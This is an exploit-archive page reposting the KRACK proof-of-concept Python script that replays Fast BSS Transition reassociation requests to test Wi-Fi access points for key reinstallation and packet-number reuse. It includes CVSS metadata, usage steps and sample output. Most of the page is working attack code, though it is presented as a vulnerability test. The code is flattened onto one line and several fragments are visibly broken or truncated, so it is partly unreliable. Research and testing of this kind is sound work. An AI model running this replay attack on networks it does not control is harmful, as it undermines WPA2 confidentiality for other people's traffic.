KRACK Key Reinstall in FT Handshake - PoC

Risk: Medium
Local: No
Remote: Yes
CWE: CWE-254

CVSS Base Score: 5.8/10
Impact Subscore: 6.4/10
Exploitability Subscore: 6.5/10
Exploit range: Adjacent network
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/env python2 # Copyright (c) 2017, Mathy Vanhoef <> # # This code may be distributed under the terms of the BSD license. # See README for more details. import logging logging.getLogger("scapy.runtime").setLevel(logging.ERROR) from scapy.all import * import sys, socket, struct, time, subprocess, atexit, select from datetime import datetime IEEE_TLV_TYPE_RSN = 48 IEEE_TLV_TYPE_FT = 55 IEEE80211_RADIOTAP_RATE = (1 << 2) IEEE80211_RADIOTAP_CHANNEL = (1 << 3) IEEE80211_RADIOTAP_TX_FLAGS = (1 << 15) IEEE80211_RADIOTAP_DATA_RETRIES = (1 << 17) #TODO: - !!! Detect retransmissions based on packet time and sequence counter (see client tests) !!! #TODO: - Merge code with client tests to avoid code duplication (including some error handling) #TODO: - Detect new EAPOL handshake or normal association frames (reset state and stop replaying) #TODO: - Option to use a secondary interface for injection + WARNING if a virtual interface is used + repeat advice to disable hardware encryption #TODO: - Test whether injection works on the virtual interface (send probe requests to nearby AP and wait for replies) #TODO: - Execute rfkill unblock wifi because some will forget this # FIXME: We are repeating the "disable hw encryption" script to client tests USAGE = """{name} - Tool to test Key Reinstallation Attacks against an AP To test wheter an AP is vulnerable to a Key Reinstallation Attack against the Fast BSS Transition (FT) handshake, take the following steps: 1. The hardware encryption engine of some Wi-Fi NICs have bugs that interfere with our script. So disable hardware encryption by executing: ./ This only needs to be done once. It's recommended to reboot after executing this script. After plugging in your Wi-Fi NIC, use `systool -vm ath9k_htc` or similar to confirm the nohwcript/.. param has been set. We tested this with an a TP-Link TL-WN722N and an Alfa AWUS051NH v2. 2. Create a wpa_supplicant configuration file that can be used to connect to the network. A basic example is: ctrl_interface=/var/run/wpa_supplicant network={{ ssid="testnet" key_mgmt=FT-PSK psk="password" }} Note the use of "FT-PSK". Save it as network.conf or similar. For more info see 3. Try to connect to the network using your platform's wpa_supplicant. This will likely require a command such as: sudo wpa_supplicant -D nl80211 -i wlan0 -c network.conf If this fails, either the AP does not support FT, or you provided the wrong network configuration options in step 1. 4. Use this script as a wrapper over the previous wpa_supplicant command: sudo {name} wpa_supplicant -D nl80211 -i wlan0 -c network.conf This will execute the wpa_supplicant command using the provided parameters, and will add a virtual monitor interface that will perform attack tests. 5. Use wpa_cli to roam to a different AP of the same network. For example: sudo wpa_cli -i wlan0 > status bssid=c4:e9:84:db:fb:7b ssid=testnet ... > scan_results bssid / frequency / signal level / flags / ssid c4:e9:84:db:fb:7b 2412 -21 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet c4:e9:84:1d:a5:bc 2412 -31 [WPA2-PSK+FT/PSK-CCMP][ESS] testnet ... > roam c4:e9:84:1d:a5:bc ... In this example we were connected to AP c4:e9:84:db:fb:7b of testnet (see status command). The scan_results command shows this network also has a second AP with MAC c4:e9:84:1d:a5:bc. We then roam to this second AP. 6. Generate traffic between the AP and client. For example: sudo arping -I wlan0 7. Now look at the output of {name} to see if the AP is vulnerable. 6a. First it should say "Detected FT reassociation frame". Then it will start replaying this frame to try the attack. 6b. The script shows which IVs (= packet numbers) the AP is using when sending data frames. 6c. Message "IV reuse detected (IV=X, seq=Y). AP is vulnerable!" means we confirmed it's vulnerable. !! Be sure to manually check network traces as well, to confirm this script !! is replaying the reassociation request properly, and to manually confirm !! whether there is IV (= packet number) reuse or not. Example output of vulnerable AP: [15:59:24] Replaying Reassociation Request [15:59:25] AP transmitted data using IV=1 (seq=0) [15:59:25] Replaying Reassociation Request [15:59:26] AP transmitted data using IV=1 (seq=0) [15:59:26] IV reuse detected (IV=1, seq=0). AP is vulnerable! Example output of patched AP (note that IVs are never reused): [16:00:49] Replaying Reassociation Request [16:00:49] AP transmitted data using IV=1 (seq=0) [16:00:50] AP transmitted data using IV=2 (seq=1) [16:00:50] Replaying Reassociation Request [16:00:51] AP transmitted data using IV=3 (seq=2) [16:00:51] Replaying Reassociation Request [16:00:52] AP transmitted data using IV=4 (seq=3) """ #### Basic output and logging functionality #### ALL, DEBUG, INFO, STATUS, WARNING, ERROR = range(6) COLORCODES = { "gray" : "\033[0;37m", "green" : "\033[0;32m", "orange": "\033[0;33m", "red" : "\033[0;31m" } global_log_level = INFO def log(level, msg, color=None, showtime=True): if level < global_log_level: return if level == DEBUG and color is None: color="gray" if level == WARNING and color is None: color="orange" if level == ERROR and color is None: color="red" print ('[%H:%M:%S] ') if showtime else " "*11) + COLORCODES.get(color, "") + msg + "\033[1;0m" #### Packet Processing Functions #### class MitmSocket(L2Socket): def __init__(self, **kwargs): super(MitmSocket, self).__init__(**kwargs) def send(self, p): # Hack: set the More Data flag so we can detect injected frames (and so clients stay awake longer) p[Dot11].FCfield |= 0x20 L2Socket.send(self, RadioTap()/p) def _strip_fcs(self, p): # Scapy can't handle the optional Frame Check Sequence (FCS) field automatically if p[RadioTap].present & 2 != 0: rawframe = str(p[RadioTap]) pos = 8 while ord(rawframe[pos - 1]) & 0x80 != 0: pos += 4 # If the TSFT field is present, it must be 8-bytes aligned if p[RadioTap].present & 1 != 0: pos += (8 - (pos % 8)) pos += 8 # Remove FCS if present if ord(rawframe[pos]) & 0x10 != 0: return Dot11(str(p[Dot11])[:-4]) return p[Dot11] def recv(self, x=MTU): p = L2Socket.recv(self, x) if p == None or not Dot11 in p: return None # Hack: ignore frames that we just injected and are echoed back by the kernel if p[Dot11].FCfield & 0x20 != 0: return None # Strip the FCS if present, and drop the RadioTap header return self._strip_fcs(p) def close(self): super(MitmSocket, self).close() def dot11_get_seqnum(p): return p[Dot11].SC >> 4 def dot11_get_iv(p): """Scapy can't handle Extended IVs, so do this properly ourselves (only works for CCMP)""" if Dot11WEP not in p: log(ERROR, "INTERNAL ERROR: Requested IV of plaintext frame") return 0 wep = p[Dot11WEP] if wep.keyid & 32: return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (struct.unpack(">I", wep.wepdata[:4])[0] << 16) else: return ord(wep.iv[0]) + (ord(wep.iv[1]) << 8) + (ord(wep.iv[2]) << 16) def get_tlv_value(p, type): if not Dot11Elt in p: return None el = p[Dot11Elt] while isinstance(el, Dot11Elt): if el.ID == type: return el = el.payload return None #### Man-in-the-middle Code #### class KRAckAttackFt(): def __init__(self, interface): self.nic_iface = interface self.nic_mon = interface + "mon" self.clientmac = scapy.arch.get_if_hwaddr(interface) self.sock = None self.wpasupp = None self.reassoc = None self.ivs = set() self.next_replay = None def handle_rx(self): p = self.sock.recv() if p == None: return # Detect whether hardware encryption is decrypting the frame, *and* removing the TKIP/CCMP # header of the (now decrypted) frame. # FIXME: Put this check in MitmSocket? We want to check this in client tests as well! if self.clientmac in [p.addr1, p.addr2] and Dot11WEP in p: # If the hardware adds/removes the TKIP/CCMP header, this is where the plaintext starts payload = str(p[Dot11WEP]) # Check if it's indeed a common LCC/SNAP plaintext header of encrypted frames, and # *not* the header of a plaintext EAPOL handshake frame if payload.startswith("\xAA\xAA\x03\x00\x00\x00") and not payload.startswith("\xAA\xAA\x03\x00\x00\x00\x88\x8e"): log(ERROR, "ERROR: Virtual monitor interface doesn't seem to pass 802.11 encryption header to userland.") log(ERROR, " Try to disable hardware encryption, or use a 2nd interface for injection.", showtime=False) quit(1) if p.addr2 == self.clientmac and Dot11ReassoReq in p: if get_tlv_value(p, IEEE_TLV_TYPE_RSN) and get_tlv_value(p, IEEE_TLV_TYPE_FT): log(INFO, "Detected FT reassociation frame") self.reassoc = p self.next_replay = time.time() + 1 else: log(INFO, "Reassociation frame does not appear to be an FT one") self.reassoc = None self.ivs = set() elif p.addr2 == self.clientmac and Dot11AssoReq in p: log(INFO, "Detected normal association frame") self.reassoc = None self.ivs = set() elif p.addr1 == self.clientmac and Dot11WEP in p: iv = dot11_get_iv(p) log(INFO, "AP transmitted data using IV=%d (seq=%d)" % (iv, dot11_get_seqnum(p))) # FIXME: When the client disconnects (or reconnects), clear the set of used IVs if iv in self.ivs: log(INFO, ("IV reuse detected (IV=%d, seq=%d). " + "AP is vulnerable!") % (iv, dot11_get_seqnum(p)), color="green") self.ivs.add(iv) def configure_interfaces(self): log(STATUS, "Note: disable Wi-Fi in your network manager so it doesn't interfere with this script") # 1. Remove unused virtual interfaces to start from a clean state["iw", self.nic_mon, "del"], stdout=subprocess.PIPE, stdin=subprocess.PIPE) # 2. Configure monitor mode on interfaces subprocess.check_output(["iw", self.nic_iface, "interface", "add", self.nic_mon, "type", "monitor"]) # Some kernels (Debian jessie - 3.16.0-4-amd64) don't properly add the monitor interface. The following ugly # sequence of commands assures the virtual interface is properly registered as a 802.11 monitor interface. subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) time.sleep(0.5) subprocess.check_output(["iw", self.nic_mon, "set", "type", "monitor"]) subprocess.check_output(["ifconfig", self.nic_mon, "up"]) def run(self): self.configure_interfaces() self.sock = MitmSocket(type=ETH_P_ALL, iface=self.nic_mon) # Open the wpa_supplicant client that will connect to the network that will be tested self.wpasupp = subprocess.Popen(sys.argv[1:]) # Monitor the virtual monitor interface of the client and perform the needed actions while True: sel =[self.sock], [], [], 1) if self.sock in sel[0]: self.handle_rx() if self.reassoc and time.time() > self.next_replay: log(INFO, "Replaying Reassociation Request") self.sock.send(self.reassoc) self.next_replay = time.time() + 1 def stop(self): log(STATUS, "Closing wpa_supplicant and cleaning up ...") if self.wpasupp: self.wpasupp.terminate() self.wpasupp.wait() if self.sock: self.sock.close() def cleanup(): attack.stop() def argv_get_interface(): for i in range(len(sys.argv)): if not sys.argv[i].startswith("-i"): continue if len(sys.argv[i]) > 2: return sys.argv[i][2:] else: return sys.argv[i + 1] return None if __name__ == "__main__": if len(sys.argv) <= 1 or "--help" in sys.argv or "-h" in sys.argv: print USAGE.format(name=sys.argv[0]) quit(1) # TODO: Verify that we only accept CCMP? interface = argv_get_interface() if not interface: log(ERROR, "Failed to determine wireless interface. Specify one using the -i parameter.") quit(1) attack = KRAckAttackFt(interface) atexit.register(cleanup)


Vote for this issue:


Thanks for you vote!


Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.

(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}

Copyright 2017,


Back to Top